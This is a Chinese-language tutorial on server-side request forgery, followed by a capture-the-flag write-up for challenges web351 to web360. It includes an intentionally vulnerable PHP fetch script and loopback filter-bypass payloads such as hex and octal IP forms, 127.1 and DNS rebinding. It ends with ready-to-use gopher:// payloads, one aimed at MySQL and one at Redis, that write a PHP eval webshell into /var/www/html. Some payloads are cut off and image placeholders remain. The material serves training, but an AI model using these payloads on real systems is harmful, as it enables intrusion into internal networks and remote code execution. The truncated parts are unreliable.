SSRF概述及其危害
*SSRF概述
? 强制服务器发送一个攻击者的请求
? 互联网上的很多web应用提供了从其他服务器(也可以是本地)获取数据的功能。使用用户指定的URL,web应用可以获取图片(载入图片)、文件资源(下载或读取)。如下图所示,百度提供识图功能。如果链接可以访问任意请求,则存在ssrf漏洞
? 用户可以从本地或者URL的方式获取图片资源,交给百度识图处理。如果提交的是URL地址,该应用就会通过URL寻找图片资源。如果web 应用开放了类似于百度识图这样的功能,并且对用户提供的URL和远端服务器返回的信息没有进行合适的验证或者过滤,就可能存在“请求伪造"的缺陷。
? 请求伪造,顾名思义就是攻击者伪造正常的请求,以达到攻击的目的,是常见的web安全漏洞之一。如果“请求伪造"发生在服务器端,那么这个漏洞就叫做“服务器端请求伪造”,英文名字为Server-Side Request Forgery,简称SSRF。 ? SSRF (Server-Side Request Forgery,服务器端请求伪造〉是一种攻击者发起的伪造由服务器端发起请求的一种攻击,也是常见web安全漏洞(缺陷或者风险)之一。
*SSRF危害
端口扫描
内网web应用指纹识别
攻击内网web应用
读取本地文件
*SSRF常见代码实现
? 让服务器根据用户的输入去发起一个http请求即可
? 在服务器端实现通过URL从服务器(外部或者内部)获取资源功能的方法有很多,此处使用PHP语言和curl扩展实现改功能。
? 通过phpinfo()函数查看对curl扩展的支持,现在大部分wamp 套件(Windows,apache,MySQL,PHP)均支持curl扩展。 服务器端代码如下
<?php
if( isset($_REQUEST ['url' ]))
{
$link = $_REQUEST[ 'url'];
$filename = './ curled/ ' .time ( ) .'.txt';
$curlobj = curl_init ($link ) ;
$fp = fopen ($filename , "w" );
curl_setopt ( $curlobj, CURLOPT_FILE, $fp) ;
curl_setopt ($curlobj, CURLOPT_HEADER, 0);
curl_setopt($curlobj,CURLOPT_POLLOWLOCATION,TRUE);
curl_exec ($curlobj);
curl_close ($curlobj);
fclose ($fp) ;
$fp = fopen ($filename , "r" ) ;
$result = fread($fp, filesize ($filename)) ;
fclose ($fp) ;
echo $result;
}else {
echo " ?url =[url] ";
fopen()函数:
表 文件操作类型
━━━━━━━━━━━━━━━━━━━━━━━━━━━━
字符 含义
────────────────────────────
"r" 打开文字文件只读
"w" 创建文字文件只写
"a" 增补, 如果文件不存在则创建一个
"r+" 打开一个文字文件读/写
"w+" 创建一个文字文件读/写
"a+" 打开或创建一个文件增补
"b" 二进制文件(可以和上面每一项合用)
"t" 文这文件(默认项)
━━━━━━━━━━━━━━━━━━━━━━━━━━━━
服务器帮我们访问所传的url,保存到txt中
将以上代码保存成文件[ssrf_curl.php]。该段代码实现了从服务器获取资源的基本功能,提交
[ ?url=http:// www. baidu.com ]
页面就会载入百度首页的资源。 同时,获取的资源文件会保存在[./curled]中,并以发起请求时间的unix时间戳命名。
*SSRF利用
*访问正常文件
访问正常的文件,提交参数
[?url=http: //www.baidu.com/robots.txt]
*端口扫描(扫描内网的机器的端口)
当访问未开放端口,脚本会显示空白或者报错。提交参数
[?url=dict://127.0.0.1:1234]
dict:// 字典协议
当访问开放端口时,脚本会显示banner 信息。 提交参数
?url=dict:/ /172.16.132.160:22
*读取系统本地文件
利用file协议可以任意读取系统本地文件,提交参数\
[ ?url=file:l/c: \windows\system32\driversletc\hosts]
*内网Web应用指纹识别
识别内网应用使用的框架,平台,模块以及cms可以为后续的渗透测试提供很多帮助。大多数web应用框架都有一些**独特的文件和目录。**通过这些文件可以识别出应用的类型,甚至详细的版本。根据这些信息就可以针对性的搜集漏洞进行攻击。 比如可以通过访问下列文件来判断phpMyAdmin是否安装以及详细版本。
[ ?url=http:l/localhost/ phpmyadmin/README]
*攻击内网应用
? 内网的安全通常都很薄弱,溢出、弱口令等一般都是存在的。通过ssrf攻击,可以实现对内网的访问,从而可以攻击内网应用或者本地机器,获得shell,这里的应用包括服务、web应用等。 仅仅通过get方法可以攻击的web应用有很多,比如struts2命令执行等。
SSRF 漏洞的挖掘
对外发起网络请求的地方都可能存在SSRF漏洞,列举图片加载下载,分享页面,在线翻译,未公开的api (从远程服务器请求资源文件处理,编码处理,属性信息处理等。)
SSRF的防御
限制协议
仅允许http和https请求。
限制IP
避免应用被用来获取内网数据,攻击内网。
限制端口
限制请求的端口为http常用的端口,比如,80,443,8080,8090。
过滤返回信息
验证远程服务器对请求的响应是比较简单的方法。
统一错误信息
免用户可以根据错误信息来判断远端服务器的端口状态
eg:统一404错误信息
web351
<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$ch=curl_init($url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($ch);
curl_close($ch);
echo ($result);
?>
存在一个flag.php页面,访问会返回不是本地用户的消息,那肯定是要让我们以本地用户去访问127.0.0.1/flag.php
url=http://127.0.0.1/flag.php
web352
<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$x=parse_url($url);
if($x['scheme']==='http'||$x['scheme']==='https'){
if(!preg_match('/localhost|127.0.0/')){
$ch=curl_init($url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($ch);
curl_close($ch);
echo ($result);
}
else{
die('hacker');
}
}
else{
die('hacker');
}
?> hacker
parse_url
— 解析 URL,返回其组成部分
mixed parse_url ( string $url [, int $component = -1 ] )
本函数解析一个 URL 并返回一个关联数组,包含在 URL 中出现的各种组成部分。
参数
url: 要解析的 URL。无效字符将使用 _ 来替换。
component:
指定 PHP_URL_SCHEME 、 PHP_URL_HOST 、 PHP_URL_PORT 、 PHP_URL_USER 、 PHP_URL_PASS 、 PHP_URL_PATH 、PHP_URL_QUERY 或 PHP_URL_FRAGMENT 的其中一个来获取 URL 中指定的部分的 string。 (除了指定为PHP_URL_PORT 后,将返回一个 integer的值)。
返回值
对严重不合格的 URL,parse_url() 可能会返回 FALSE 。
如果省略了 component 参数,将返回一个关联数组 array,在目前至少会有一个元素在该数组中。数组中可能的键有以下几种:
- scheme - 如 http
- host
- port
- user
- pass
- path
- query - 在问号 ? 之后
- fragment - 在散列符号 # 之后
代码中先判断是否为HTTP或https协议,之后判断我们传入的url中是否含有localhost和127.0.0,如果没有则执行下面语句
意思:过滤掉了localhost和127.0.0
学习了一下 可以用127.0.1 、127.1、 127。0.0.1 或者转成16进制 2进制 进行
url=http://0x7F.0.0.1/flag.php 16进制
url=http://0177.0.0.1/flag.php 8进制
url=http://0.0.0.0/flag.php
url=http://0/flag.php
url=http://127.127.127.127/flag.php
web353
<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$x=parse_url($url);
if($x['scheme']==='http'||$x['scheme']==='https'){
if(!preg_match('/localhost|127\.0\.|\。/i', $url)){
$ch=curl_init($url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($ch);
curl_close($ch);
echo ($result);
}
else{
die('hacker');
}
}
else{
die('hacker');
}
?> hacker
过滤更加严格,但可以使用进制变换,和上一题类似
IP地址进制转换网站
十六进制
url=http://0x7F.0.0.1/flag.php
八进制
url=http://0177.0.0.1/flag.php
10 进制整数格式
url=http://2130706433/flag.php
16 进制整数格式,还是上面那个网站转换记得前缀0x
url=http://0x7F000001/flag.php
还有一种特殊的省略模式
127.0.0.1写成127.1
用CIDR绕过localhost
url=http://127.127.127.127/flag.php
url=http://0/flag.php
url=http://0.0.0.0/flag.php
web354
<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$x=parse_url($url);
if($x['scheme']==='http'||$x['scheme']==='https'){
if(!preg_match('/localhost|1|0|。/i', $url)){
$ch=curl_init($url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($ch);
curl_close($ch);
echo ($result);
}
else{
die('hacker');
}
}
else{
die('hacker');
}
?> hacker
此题过滤了0和1
去了解了两种绕过方法:(151条消息) 【漏洞利用】SSRF漏洞挖掘利用、绕过技巧、防御修复详细解析_白丁Gorilla的博客-CSDN博客_java ssrf 修复
利用302跳转 如果后端服务器在接收到参数后,正确的解析了URL的host,并且进行了过滤,我们这个时候可以使用302跳转的方式来进行绕过。 http://xip.io 当我们访问这个网站的子域名的时候,例如192.168.0.1.xip.io,就会自动重定向到192.168.0.1。 DNS Rebinding 对于常见的IP限制,后端服务器可能通过下图的流程进行IP过滤 ![[Pasted image 20210125224939.png]] 对于用户请求的URL参数,首先服务器端会对其进行DNS解析,然后对于DNS服务器返回的IP地址进行判断,如果在黑名单中,就pass掉。 但是在整个过程中,第一次去请求DNS服务进行域名解析到第二次服务端去请求URL之间存在一个时间查,利用这个时间差,我们可以进行DNS 重绑定攻击。 要完成DNS重绑定攻击,我们需要一个域名,并且将这个域名的解析指定到我们自己的DNS Server,在我们的可控的DNS Server上编写解析服务,设置TTL时间为0。这样就可以进行攻击了,完整的攻击流程为:
(1)、服务器端获得URL参数,进行第一次DNS解析,获得了一个非内网的IP
(2)、对于获得的IP进行判断,发现为非黑名单IP,则通过验证
(3)、服务器端对于URL进行访问,由于DNS服务器设置的TTL为0,所以再次进行DNS解析,这一次DNS服务器返回的是内网地址。
(4)、由于已经绕过验证,所以服务器端返回访问内网资源的结果。
1·修改自己域名的a记录,改成127.0.0.1
2·这个网站a记录指向127.0.0.1 可以直接利用
url=http://sudo.cc/flag.php
payload:
url=http://sudo.cc/flag.php
web355
<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$x=parse_url($url);
if($x['scheme']==='http'||$x['scheme']==='https'){
$host=$x['host'];
if((strlen($host)<=5)){
$ch=curl_init($url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($ch);
curl_close($ch);
echo ($result);
}
else{
die('hacker');
}
}
else{
die('hacker');
}
?> hacker
限制了host长度:小于等于5,使用127.1省略绕过
url=http://127.1/flag.php
web356
<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$x=parse_url($url);
if($x['scheme']==='http'||$x['scheme']==='https'){
$host=$x['host'];
if((strlen($host)<=3)){
$ch=curl_init($url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($ch);
curl_close($ch);
echo ($result);
}
else{
die('hacker');
}
}
else{
die('hacker');
}
?> hacker
此时的host长度限制为小于等于3
0在 linux 系统中会解析成127.0.0.1在windows中解析成0.0.0.0
url=http://0/flag.php
web357
<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$x=parse_url($url);
if($x['scheme']==='http'||$x['scheme']==='https'){
$ip = gethostbyname($x['host']);
echo '</br>'.$ip.'</br>';
if(!filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE)) {
die('ip!');
}
echo file_get_contents($_POST['url']);
}
else{
die('scheme');
}
?> scheme
gethostbyname()函数
主要作用:用域名或者主机名获取地址,操作系统提供的库函数。
成功返回的非空指针指向如下的hostent结构:
struct hostent
{
char *h_name; //主机名
char **h_aliases; //主机别名(指向到虚拟主机的域名)
int h_addrtype; //主机IP地址类型
int h_length; //主机IP地址长度,对于IPv4是四字节
char **h_addr_list; //主机IP地址列表
};
#define h_addr h_addr_list[0]
filter_var() 函数
通过指定的过滤器过滤变量。
如果成功,则返回已过滤的数据,如果失败,则返回 false。
语法
filter_var(variable, filter, options)
参数 | 描述 |
---|
variable | 必需。规定要过滤的变量。 | filter | 可选。规定要使用的过滤器的 ID。 | options | 规定包含标志/选项的数组。检查每个过滤器可能的标志和选项。 |
PHP Filter 函数
PHP:指示支持该函数的最早的 PHP 版本。
PHP Filters
gethostbyname — 返回主机名对应的 IPv4地址。
filter_var — 使用特定的过滤器过滤一个变量
FILTER_FLAG_IPV4 - 要求值是合法的 IPv4 IP(比如 255.255.255.255)
FILTER_FLAG_IPV6 - 要求值是合法的 IPv6 IP(比如 2001:0db8:85a3:08d3:1319:8a2e:0370:7334)
FILTER_FLAG_NO_PRIV_RANGE - 要求值是 RFC 指定的私域 IP (比如 192.168.0.1)
FILTER_FLAG_NO_RES_RANGE - 要求值不在保留的 IP 范围内。该标志接受 IPV4 和 IPV6 值。
所以url不能是私有地址,需要一个公网ip
利用302跳转和dns重绑定都可以。
dns重绑定就用这个:dns重绑定
羽神提供了一种方法:使用dns重绑定
在网站http://ceye.io/注册账号,会自动分配一个域名给你:
payload:
http://r.xxxxxx/flag.php
xxx为分给你的域名
第一个随便天填,第二个写
多试几次得到flag
web358
<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$x=parse_url($url);
if(preg_match('/^http:\/\/ctf\..*show$/i',$url)){
echo file_get_contents($url);
}
这里的正则表示以http://ctf. 开头,以show 结尾,即匹配http://ctf.*show
最终payload(127.0.0.1也可以换成其他形式):
url=http:
url=http:
原理: 如果不在ctf. 后面加@ ,解析url时会把ctf. 也解析成host的内容,如果不在show 前面加# 或? ,会把show也解析到path中,得不到想要的结果
web359
工具下载地址:https://github.com/tarunkant/Gopherus
拿到
gopher://127.0.0.1:3306/_%a3%00%00%01%85%a6%ff%01%00%00%00%01%21%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%72%6f%6f%74%00%00%6d%79%73%71%6c%5f%6e%61%74%69%76%65%5f%70%61%73%73%77%6f%72%64%00%66%03%5f%6f%73%05%4c%69%6e%75%78%0c%5f%63%6c%69%65%6e%74%5f%6e%61%6d%65%08%6c%69%62%6d%79%73%71%6c%04%5f%70%69%64%05%32%37%32%35%35%0f%5f%63%6c%69%65%6e%74%5f%76%65%72%73%69%6f%6e%06%35%2e%37%2e%32%32%09%5f%70%6c%61%74%66%6f%72%6d%06%78%38%36%5f%36%34%0c%70%72%6f%67%72%61%6d%5f%6e%61%6d%65%05%6d%79%73%71%6c%44%00%00%00%03%73%65%6c%65%63%74%20%22%3c%3f%70%68%70%20%65%76%61%6c%28%24%5f%50%4f%53%54%5b%31%5d%3b%20%3f%3e%22%20%69%6e%74%6f%20%6f%75%74%66%69%6c%65%20%22%2f%76%61%72%2f%77%77%77%2f%68%74%6d%6c%2f%61%2e%70%68%70%01%00%00%00%01
但是不能直接使用,因为gopher://127.0.0.1:3306/_ 后面的内容需要再urlencode 一次,最后得到
gopher://127.0.0.1:3306/_%25a3%2500%2500%2501%2585%25a6%25ff%2501%2500%2500%2500%2501%2521%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2572%256f%256f%2574%2500%2500%256d%2579%2573%2571%256c%255f%256e%2561%2574%2569%2576%2565%255f%2570%2561%2573%2573%2577%256f%2572%2564%2500%2566%2503%255f%256f%2573%2505%254c%2569%256e%2575%2578%250c%255f%2563%256c%2569%2565%256e%2574%255f%256e%2561%256d%2565%2508%256c%2569%2562%256d%2579%2573%2571%256c%2504%255f%2570%2569%2564%2505%2532%2537%2532%2535%2535%250f%255f%2563%256c%2569%2565%256e%2574%255f%2576%2565%2572%2573%2569%256f%256e%2506%2535%252e%2537%252e%2532%2532%2509%255f%2570%256c%2561%2574%2566%256f%2572%256d%2506%2578%2538%2536%255f%2536%2534%250c%2570%2572%256f%2567%2572%2561%256d%255f%256e%2561%256d%2565%2505%256d%2579%2573%2571%256c%2545%2500%2500%2500%2503%2573%2565%256c%2565%2563%2574%2520%2522%253c%253f%2570%2568%2570%2520%2565%2576%2561%256c%2528%2524%255f%2550%254f%2553%2554%255b%2531%255d%2529%253b%253f%253e%2522%2520%2569%256e%2574%256f%2520%256f%2575%2574%2566%2569%256c%2565%2520%2522%252f%2576%2561%2572%252f%2577%2577%2577%252f%2568%2574%256d%256c%252f%2531%252e%2570%2568%2570%2522%2501%2500%2500%2500%2501
回到环境中,随便输入账号密码跳转到check.php ,然后post传参:returl=xxx (把上面得到的传进去)
然后一句话就写进去了,再访问url/1.php (1.php为我们指定的文件名),然后进行命令执行
web360
步骤和上题类似
<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$ch=curl_init($url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($ch);
curl_close($ch);
echo ($result);
?>
python gopherus.py --exploit redis
<?php eval($_post[1]);?>
再次编码:
gopher://127.0.0.1:6379/_%252A1%250D%250A%25248%250D%250Aflushall%250D%250A%252A3%250D%250A%25243%250D%250Aset%250D%250A%25241%250D%250A1%250D%250A%252428%250D%250A%250A%250A%253C%253Fphp%2520eval%2528%2524_POST%255B1%255D%2529%253B%253F%253E%250A%250A%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%25243%250D%250Adir%250D%250A%252413%250D%250A%2Fvar%2Fwww%2Fhtml%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%252410%250D%250Adbfilename%250D%250A%25249%250D%250Ashell.php%250D%250A%252A1%250D%250A%25244%250D%250Asave%250D%250A%250A
e-1650715468760)]
再次编码:
gopher://127.0.0.1:6379/_%252A1%250D%250A%25248%250D%250Aflushall%250D%250A%252A3%250D%250A%25243%250D%250Aset%250D%250A%25241%250D%250A1%250D%250A%252428%250D%250A%250A%250A%253C%253Fphp%2520eval%2528%2524_POST%255B1%255D%2529%253B%253F%253E%250A%250A%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%25243%250D%250Adir%250D%250A%252413%250D%250A%2Fvar%2Fwww%2Fhtml%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%252410%250D%250Adbfilename%250D%250A%25249%250D%250Ashell.php%250D%250A%252A1%250D%250A%25244%250D%250Asave%250D%250A%250A
[外链图片转存中…(img-IGw7KZz6-1650715468760)]
|